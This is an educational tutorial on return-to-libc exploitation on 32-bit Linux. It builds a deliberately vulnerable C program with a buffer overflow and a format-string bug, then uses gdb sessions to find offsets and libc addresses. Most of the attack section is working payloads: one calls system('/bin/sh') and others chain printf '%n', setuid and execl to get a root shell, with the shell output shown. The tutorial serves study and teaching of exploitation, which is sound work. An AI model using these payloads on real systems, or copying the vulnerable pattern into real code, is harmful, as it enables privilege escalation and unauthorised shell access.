Return-to-libc

By Saif El-Sherei

www.elsherei.com

Introduction:

I decided to get a bit more into Linux exploitation, so I thought it would be nice if I document this as a good friend once said " you think you understand something until you try to teach it". This is my first try at writing papers. This paper is my understanding of the subject. I understand it might not be complete I am open for suggestions and modifications. I hope as this project helps others as it helped me. This paper is purely for education purposes.

Please beware that the memory addresses will probably be different on your system.

Return-to-libc Explained:

Return-to-libc is a method that defeats stack protection on linux systems. We know that most of the modern Linux systems have stack protection mechanism to defeat execution from stack. How do we get around it? To understand how this will happen we have to look at how functions look in the stack.

Top of stack lower memory address

Buffer[1024]
…..
Saved Frame Pointer (EBP)
Saved return address (EIP)
function() arguments
Function() arguments

Bottom of stack higher memory address

As seen in the above figure the stack grows upwards towards lower memory address. First the function() arguments are pushed in reverse order, then the address of the next instruction is saved on stack (return address), the function() frame pointer is also saved, at the end the function local variables are saved.

In a Normal Buffer overflow the buffer is overflowed to overwrite the saved frame pointer, and the saved return address. To redirect execution to our shellcode either saved in environment variable or the stack in our buffer. When stack protection is implemented all of the above goes well but the stack isn't executable so u can't execute instructions from environment variables or the stack.

To overcome this hurdle if you think about it. All functions definitions are saved in libraries. So basically if we overwrite the return address with an address to a function in a libc library, and overwriting the arguments and saved return address after the function address the processor should treat this as a valid function call.basically we are creating a fake function stack frame. Let's look at the figure and see how it will look like on the stack.

Top of stack lower memory address

AAAAAAAAAAAAAAAAAAAAA	
…..	
AAAA(overwritten frame pointer)	
Address of function in libc (overwritten return address)	Previous saved frame pointer (EBP)
Dummy Return address for the called function to return to	Previous function return address (EIP)
The called function arguments	

Bottom of stack higher memory address

If we look at the figure above we have overwritten the buffer and saved frame pointer with "A"s. overwritten the return address with the address of a function in libc, put a dummy return address for the function to return too after the function is called, and before it the arguments to the function we want to call are pushed backwards on stack.

Exploiting Return-to-libc:

Let's take an example on how we are going to exploit it.

This is our code to the basic stack overflow tutorial we compile it

```
#include <stdio.h>

int main(int argc, char *argv[])

{


        char buf[256];

        memcpy(buf, argv[1],strlen(argv[1]));

        printf(buf);

}
```

We compile it.

```
root@kali:~/Desktop/tuts/so# gcc -mpreferred-stack-boundary=2 so.c -o rt
```

let’s see where is the return address overwritten.

```
root@kali:~/Desktop/tuts/so# gdb -q rt
Reading symbols from /root/Desktop/tuts/so/rt...(no debugging symbols found)...done.
(gdb) r `python -c 'print "A"*264'`
Starting program: /root/Desktop/tuts/so/rt `python -c 'print "A"*264'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) r `python -c 'print "A"*260+"B"*4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/tuts/so/rt `python -c 'print "A"*260+"B"*4'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
```

So the return address is overwritten after 260 bytes. Let’s get the address of the system() function and pass it the /bin/sh argument to run. First we set a break point at main when we hit the break point we search for the address to the system function.

```
(gdb) b *main
Breakpoint 1 at 0x804847c
(gdb) r `python -c 'print "A"*260+"B"*4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/tuts/so/rt `python -c 'print "A"*260+"B"*4'`
Breakpoint 1, 0x0804847c in main ()

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e9ef10 <system>
```

As highlighted above the address of the system function is “0xb7e9ef10”. So what we want the stack to look like to return-to-libc is as follows;

Top of stack	EBP	EIP	Dummy return addr	address of /bin/sh string
AAAAAAAAA	AAAA	Addr of system function (0xb7e9ef10)	DUMM	address of /bin/sh string

So let’s see how we will do it in our example application. first we have to export environment variable containing “/bin/sh” and get it’s address.

```
root@kali:~/Desktop/tuts/so# export SHELL='/bin/sh'

root@kali:~/Desktop/tuts/so# gdb -q rt

(gdb) b *main

Breakpoint 1 at 0x804847c

(gdb) r `python -c 'print "A"*260+"B"*4'`

Starting program: /root/Desktop/tuts/so/rt `python -c 'print "A"*260+"B"*4'`

Breakpoint 1, 0x0804847c in main ()

(gdb) x/500s $esp

---Type <return> to continue, or q <return> to quit---

0xbfffff2f:  "SHELL=/bin/sh"

0xbfffff3d:  "GDMSESSION=default"

0xbfffff50:  "GPG_AGENT_INFO=/root/.cache/keyring-WoZFyX/gpg:0:1"

0xbfffff83:  "PWD=/root/Desktop/tuts/so"

0xbfffff9d:  "XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share/:/usr/share/"

0xbfffffda:  "LINES=41"

0xbfffffe3:  "/root/Desktop/tuts/so/rt"

0xbffffffc:  ""
```

As seen above the command “x/500s $esp” will print out 500 strings from the stack; this is more than enough to find our environment variable “SHELL”. We keep hitting enter till we find it as highlighted in red the address of Environment “SHELL” is “0xbfffff2f”. Now we have to get the exact address of the string ‘/bin/sh’ which will be (addr of SHELL + 6) because the preceding “SHELL=” is 6 bytes. So the address of the string is (0xbfffff2f + 6 = 0xBFFFFF35).

So to return to libc we should run our program with the following input;

```
“A”*260+”\x10\xef\xe9\xb7”+”DUMM”+”\x35\xff\xff\xbf”
```

Let’s test it and see if we get a shell.

```
(gdb) r `python -c 'print "A"*260+"\x10\xef\xe9\xb7"+"DUMM"+"\x35\xff\xff\xbf"'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /root/Desktop/tuts/so/rt `python -c 'print
"A"*260+"\x10\xef\xe9\xb7"+"DUMM"+"\x35\xff\xff\xbf"'`


Breakpoint 1, 0x0804847c in main ()

(gdb) c

Continuing.

# id

uid=0(root) gid=0(root) groups=0(root)

# exit


Program received signal SIGSEGV, Segmentation fault.

0x4d4d5544 in ?? ()

(gdb)
```

As shown above we successfully got a shell.

But what happened when we exited the shell we got segmentation fault. Because the dummy return address we put for the function to return to doesn‘t exist. If a system admin look at the dmesg logs or in “/var/adm/messages“ it will log that a function seg faulted at that address. To fix this we put instead of a dummy address let’s put the address of exit() function. And see what happens.

```
root@kali:~/Desktop/tuts/so# gdb -q rt

Reading symbols from /root/Desktop/tuts/so/rt...(no debugging symbols found)...done.

(gdb) b *main

Breakpoint 1 at 0x804847c

(gdb) r `python -c 'print "A"*260+"\x10\xef\xe9\xb7"+"DUMM"+"\x35\xff\xff\xbf"'`
```

```
Starting program: /root/Desktop/tuts/so/rt `python -c 'print
"A"*260+"\x10\xef\xe9\xb7"+"DUMM"+"\x35\xff\xff\xbf"'`


Breakpoint 1, 0x0804847c in main ()
(gdb) p exit
$1 = {<text variable, no debug info>} 0xb7e92550 <exit>
(gdb) r `python -c 'print "A"*260+"\x10\xef\xe9\xb7"+"\x50\x25\xe9\xb7"+"\x35\xff\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/tuts/so/rt `python -c 'print
"A"*260+"\x10\xef\xe9\xb7"+"\x50\x25\xe9\xb7"+"\x35\xff\xff\xbf"'`
Breakpoint 1, 0x0804847c in main ()
(gdb) c
Continuing.
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[Inferior 1 (process 8833) exited with code 0160]
(gdb)
```

As you can see this time we exited cleanly without any errors.

Chaining function calls with ret-to-libc:

As we saw in the previous example supplying the return address of exit() will return to it after our fake function is executed. So how can we call two functions basically we would create two fake frames.

But which return address should we return to. If we supplied the address of the other frame on stack it will not execute since NX is enabled.

The ESP stack pointer at the time when the fake 1st function returns will be pointing to the arguments of that function. So we need to unwind the stack so it will point to our new 2nd fake function address and return to it.

We cannot use system() function since it will drop privileges. We will have to use execl() function in this prototype;

Execl("/bin/sh","/bin/sh",0)

Now here there is another problem the execl() functions last argument must be NULL, since we cannot use NULL bytes in our buffer because it will terminate our string early we will have to figure out a way to write the NULL bytes to the last argument.

Remember in the format strings exploit tutorial. Since we can access libc functions we will use printf() function. Remember the "%n" format string which writes the number of bytes written to the address supplied to the corresponding printf() argument. We will use this and also utilize the direct access functionality of format strings. More will be explained later.

Writing NULL Bytes:

So we want to write NULL bytes to one of our arguments. Basically we will need our buffer to look like this.

|[GARBAGE] (fill) | printf() addr | POP /RET (unwind) | addr of "%5$n" | execl() addr | exit() (return) | addr of "/bin/sh" | addr of "/bin/sh" | address of here |

Now taking it step by step;

- First we fill our buffer till we reach our return address with "A"*260.
- Then we overwrite the return address with the address of printf() function in libc.
- After it we put the address which printf() will return too. Which will be the address to POP/RET instructions so that we unwind the stack the POP will take the first argument to printf() off the stack. Then RET will jump to the address on top of the stack at that time.
- Then we will put the address of "%5$n" format string as argument to printf(); now why do we use direct access and why exactly are we referencing the number 5. Well direct access will enable us to access the argument we want to printf() directly in other words will enable us to overwrite the 5th argument to printf() directly. Now why the 5th if you look at the stack figure above. You will find that the address that we need to overwrite is the 5th DWORD after the printf() format string. Which at the time that printf() is called will be considered the functions 5th argument.
- The address on top of the stack after printf() returns and it's argument is popped off the stack. Will be the address of the execl() function.
- Following that will be the arguments to the execl which are the address of '/bin/sh' and the address to the arguments to the first argument which we have none so it will be the address to '/bin/sh'. Then the address of exit() function so after execl() is done executing it will exit.
- Followed by the third argument which will be overwritten with NULL bytes now we need this argument to be the address of that location in buffer. So it will serve as an argument to printf() which will write NULL bytes to that address.

What do we need?

- The address of printf() function.
- The address of execl() function.
- The address of the format string '%5$n' environment variable.
- The address of the '/bin/sh' string environment variable.
- The address of a POP/RET instruction.
- The address of the last argument in our buffer.

To get the addresses of the functions we run the program under gdb. As follows and use print command to get the addresses of the functions we want.

```
root@kali:~/Desktop/tuts/so# gdb -q rt2

Reading symbols from /root/Desktop/tuts/so/rt2...(no debugging symbols found)...done.

(gdb) b *main

Breakpoint 1 at 0x804847c

(gdb) r test

Starting program: /root/Desktop/tuts/so/rt2 test

Breakpoint 1, 0x0804847c in main ()

(gdb) p printf

$1 = {<text variable, no debug info>} 0xb7eace60 <printf>

(gdb) p execl

$2 = {<text variable, no debug info>} 0xb7f03970 <execl>

(gdb) p exit

$3 = {<text variable, no debug info>} 0xb7e92550 <exit>

(gdb)
```

Now we need to get the address of the format string and the string '/bin/sh'

```
root@kali:~/Desktop/tuts/so# export sh='/bin/sh'

root@kali:~/Desktop/tuts/so# export fmt='%5$n'

root@kali:~/Desktop/tuts/so# ./get sh

Egg address: 0xbffffe27

root@kali:~/Desktop/tuts/so# ./get fmt

Egg address: 0xbffffdc5
```

Here comes the tricky part how will we get ehe address of the last argument in buffer. Well we will have to modify the source code of our vulnerable program as bolded below.

```
root@kali:~/Desktop/tuts/so# cat so.c
#include <stdio.h>


int main(int argc, char *argv[])
{
        char buf[256];
        printf("buff is at:%p\r\n",buf);
        memcpy(buf, argv[1],strlen(argv[1]));
        printf(buf);
}
root@kali:~/Desktop/tuts/so#
```

the bolded line above will print the location of the start of our variable “buf”. We compile and run the program as shown before to see where our buffer starts.

```
root@kali:~/Desktop/tuts/so# gcc -mpreferred-stack-boundary=2 -ggdb so.c -o rt2
so.c: In function ‘main’:
so.c:7:2: warning: incompatible implicit declaration of built-in function ‘memcpy’ [enabled by default]
so.c:7:22: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default]
root@kali:~/Desktop/tuts/so# ./rt2 est
buff is at: 0xbffff2e8
est
root@kali:~/Desktop/tuts/so# ./rt2 test
buff is at: 0xbffff2e8
test
root@kali:~/Desktop/tuts/so#
```

So as seen above when we run the program we get the start to the address of our buffer at 0xbffff2e8

The address of the last argument on the stack which we want to overwrite should begot through this simple hexadecimal conversion. “0xbffff2e8+ (260+28)” The way we calculate this is we add the 260

bytes needed to reach our return address plus the number of bytes to the place on stack we need to overwrite. Which are 28 bytes. So finally the address to our stack argument should be 0xbffff408

We get the address to the POP/RET instruction using msfelfscan:

```
root@kali:~/Desktop/tuts/so# msfelfscan -p rt2

[rt2]

0x08048547 pop edi; pop ebp; ret

root@kali:~/Desktop/tuts/so#
```

as you can see above this is the address to the POP/POP/RET instruction we simply add one to that address to get the POP/RET only.

Below is all the addresses we need:

- Printf() address: 0xb7eace60
- Execl() address: 0xb7f03970
- Exit() address: 0xb7e92550
- '%5$n" address: 0xbffffdc5
- '/bin/sh' address: 0xbffffe27
- Address of argument to overwrite: 0xbffff408
- POP/RET: 0x08048548

Our buffer should be constructed as follows;

```
"A"*260+"\x60\xce\xea\xb7"+"\x48\x85\x04\x08"+"\xc5\xfd\xff\xbf"+"\x70\x39\xf0\xb7"+"\x50\x25\xe9\xb7"+"\x27\xfe\xff\xbf"+"\x27\xfe\xff\xbf"+"\x08\xf4\xff\xbf"
```

Now let's run the program with the above buffer and see what happens.

```
root@kali:~/Desktop/tuts/so# ./rt2 `python -c 'print "A"*260+"\x60\xce\xea\xb7"+"\x48\x85\x04\x08"+"\xc5\xfd\xff\xbf"+"\x70\x39\xf0\xb7"+"\x50\x25\xe9\xb7"+"\x27\xfe\xff\xbf"+"\x27\xfe\xff\xbf"+"\x08\xf4\xff\xbf"'`

buff is at:0xbffff2e8

# id

uid=0(root) gid=0(root) groups=0(root)

# ls

a.out  core  g    get  getenv.c  rt  rt2      rt2.c  s  so  so2  so2.c  so.c        wrpr  wrpr.c

# exit

root@kali:~/Desktop/tuts/so#
```

voila we got our shell…

let’s expand on the above to chain the following functions.

printf() -> printf() -> setuid() -> execl

the first printf should overwrite the argument to setuid and 2nd printf should overwrite the last argument to execl. Let’s see how we will be able to do that.

We change the owner of the program to user “saif” and run it and check it’s functioning correctly.

```
$ gdb -q rt2

Reading symbols from /root/Desktop/tuts/so/rt2...(no debugging symbols found)...done.

(gdb)  r `python -c 'print "A"*260+"\x10\xef\xe9\xb7"+"\x50\x25\xe9\xb7"+"\x35\xff\xff\xbf"'`

Starting program: /root/Desktop/tuts/so/rt2 `python -c 'print
"A"*260+"\x10\xef\xe9\xb7"+"\x50\x25\xe9\xb7"+"\x35\xff\xff\xbf"'`

$ id

uid=1000(saif) gid=1000(saif) groups=1000(saif)

$ exit

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[illegible]P%[illegible]5[illegible]P[illegible]!h[illegible]
[illegible][Inferior 1 (process 8966) exited with code 0120]

(gdb)
```

All is working as expected now let’s chain the function calls to chain setuid to root then execute execl(bin/sh).

```
(gdb) p setuid

$1 = {<text variable, no debug info>} 0xb7f041c0 <setuid>

(gdb)
```

Below is all the addresses we need:

- Printf() address: 0xb7eace60
- Execl() address: 0xb7f03970
- Exit() address: 0xb7e92550
- Setuid() address: 0xb7f041c0
- ‘%8$n” address: 0xbffffe72
- `%6$n’ address: 0xbffffe7c
- ‘/bin/sh’ address: 0xbffffe28
- Address of argument to setuid: 0xbffff3bc
- Address of last argument to execl: 0xbffff3d0
- POP/RET: 0x08048548

```
"A"*260+"\x60\xce\xea\xb7"+"\x48\x85\x04\x08"+"\x7c\xfe\xff\xbf"+"\x60\xce\xea\xb7"+"\x48\x85\x04\x08"+"\x72\xfe\xff\xbf"+"\xc0\x41\xf0\xb7"+"\x48\x85\x04\x08"+"\xbc\xf3\xff\xbf"+"\x70\x39\xf0\xb7"+"\x50\x25\xe9\xb7"+"\x28\xfe\xff\xbf"+"\x28\xfe\xff\xbf"+"\xd0\xf3\xff\xbf"
```